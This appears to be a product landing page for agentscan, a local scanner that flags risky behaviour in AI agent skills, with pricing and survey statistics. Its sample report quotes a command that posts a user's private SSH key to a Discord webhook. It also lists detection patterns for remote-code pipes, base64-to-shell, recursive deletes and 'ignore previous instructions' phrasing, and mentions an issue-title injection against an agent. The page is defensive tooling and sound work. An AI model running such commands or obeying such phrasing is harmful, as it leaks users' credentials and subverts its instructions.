A deterministic scanner for AI agent skills. Point it at any skill directory and see what the skill actually does — permissions, network, secrets, risk — before it touches your machine.
$ pip install scanaskill|zero dependencies|works offline
$ agentscan ~/.claude/skills/auto-updateragentscan — deterministic scan · nothing leaves this machinescanned 1 artifact(s), 14 finding(s) ARTIFACT [claude-skill] auto-updater CRITICAL [exfil] Local secret read piped to network SKILL.md:41 curl -d @~/.ssh/id_rsa https://discord.com/api/webhooks/… CRITICAL [secrets] AWS Access Key SKILL.md:24 CRITICAL [obfuscation] base64 decode piped to shell SKILL.md:52 HIGH [supply_chain] curl|bash (remote code pipe) SKILL.md:12 HIGH [filesystem] rm -r (recursive delete) SKILL.md:37 MEDIUM [config_tamper] Remote MCP server .mcp.json:4 MEDIUM [prompt_patterns] Ignore-previous-instructions phrasing SKILL.md:30 LOW [license] No license declared SKILL.md:1 … 6 more finding(s) (use --max-findings 0 or --json for all) summary: critical=3 high=2 medium=5 low=2 info=2 per check: config_tamper=1, exfil=1, filesystem=2, license=1, network=3, obfuscation=1, prompt_patterns=1, secrets=2, shell=1, supply_chain=2 note: findings are observed patterns, not verdicts. Review each before acting.$ echo $?101 — Pricing
The scanner is free. The distribution is a one-time purchase. $9/month keeps it continuously verified.
Free
The open-source scanner.
MIT · no account · no telemetry
Trusted Distribution
A continuously audited distribution of AI agent skills. Human review, signed releases, one command to install.
includes 12 months of updates
Maintenance
You own the distribution. This keeps it audited, updated, and maintained — month to month.
cancel anytime
02 — The problem
A skill is code your agent runs with your permissions, on your secrets. Installing one from a random repo is curl|bash with extra steps — nobody reviews it.
01
Reads your files. Reaches your network. Runs in your shell. One un-reviewed commit between helper and backdoor.
02
Stars measure adoption, not trust. The most-installed skill is the least examined.
03
ToxicSkills (Snyk, Feb 2026): 76 confirmed malicious payloads in 3,984 public skills. Clinejection turned one issue title into a supply-chain compromise.
03 — The scanner
Runs locally. Executes nothing. Never calls out. Same input, same report.
$ agentscan .agentscan — deterministic scan · nothing leaves this machinescanned 1 artifact(s), 14 finding(s) ARTIFACT [claude-skill] auto-updater CRITICAL [exfil] Local secret read piped to network SKILL.md:41 curl -d @~/.ssh/id_rsa https://discord.com/api/webhooks/… CRITICAL [secrets] AWS Access Key SKILL.md:24 CRITICAL [obfuscation] base64 decode piped to shell SKILL.md:52 HIGH [supply_chain] curl|bash (remote code pipe) SKILL.md:12 HIGH [filesystem] rm -r (recursive delete) SKILL.md:37 MEDIUM [config_tamper] Remote MCP server .mcp.json:4 MEDIUM [prompt_patterns] Ignore-previous-instructions phrasing SKILL.md:30 LOW [license] No license declared SKILL.md:1 … 6 more finding(s) (use --max-findings 0 or --json for all) summary: critical=3 high=2 medium=5 low=2 info=2 per check: config_tamper=1, exfil=1, filesystem=2, license=1, network=3, obfuscation=1, prompt_patterns=1, secrets=2, shell=1, supply_chain=2 note: findings are observed patterns, not verdicts. Review each before acting.$ echo $?1Severity counts per check. The facts you base a verdict on.
Findings with file:line — shell, eval, unpinned installs, hooks.
rm -rf, chmod 777, force-push, remote MCP servers.
Where the skill connects — URLs, IP literals, exfil sinks.
Declared vs. recognized. 93.6% of public skills declare none.
20+ token formats. Placeholders excluded by design.
04 — Trusted distribution
Scanned, human-reviewed, re-verified on every release. Fifty we can defend, not five thousand we can't.
A person reads every listing. The review leaves a public record.
Every release is re-scanned. Behavior changes show up before you update.
A tampered archive fails verification instead of installing.
Every scan report, review note, and re-verification — in the open.
revenue is verification, not curation
05 — Features
Small surface. One command. No surprises.
01
Point it at any directory — skills, MCP servers, configs.
02
No account. No telemetry. Works offline.
03
MIT. Zero dependencies. Pure stdlib.
04
Regex, entropy, structure. Same input, same report.
05
Never runs the skill. Never calls out.
06
Exit codes, JSON, SARIF 2.1.0 for GitHub code scanning.
06 — Research
4,000 public skills, scanned with the same tool you can run. Every number is reproducible.
| Signal | % of skills |
|---|---|
| No recognizable license Redistribution rights unclear for almost everything. | 93.6% |
| Invokes shell / interpreter Most skills can execute code, unsandboxed. | 75.3% |
| Supply-chain patterns (curl|bash, unpinned installs) Nearly 1 in 4 pulls or installs something. | 23.1% |
| Credential-format strings Placeholders excluded — these skew real. | 14.7% |
| Destructive filesystem ops rm -r, git reset --hard, truncating overwrites. | 7.6% |
| Exfiltration sinks Webhooks, env-in-URL, secret→network. | 4.2% |
| Prompt-manipulation phrasing Flagged for review, never 'detected'. | 3.3% |
| Obfuscation chains Decode piped to shell. | 0.4% |
| Any high/critical finding At least one high/critical observation per skill. | 18.0% |
1 in 5 skills carries a high/critical observation.
1 in 4 pulls or installs something.
9 in 10 cannot be legally redistributed.
Findings are observed patterns, not verdicts — the scanner never calls anything malicious; you decide. A shell invocation in a shell-scripting skill is correct. Snyk’s ToxicSkills audit (Feb 2026) measured a different corpus and landed in the same range.
174 repos · 8,414 unique · n=4,000 · seed 42
Free. Local. Open source. It takes one command.
$ pip install scanaskill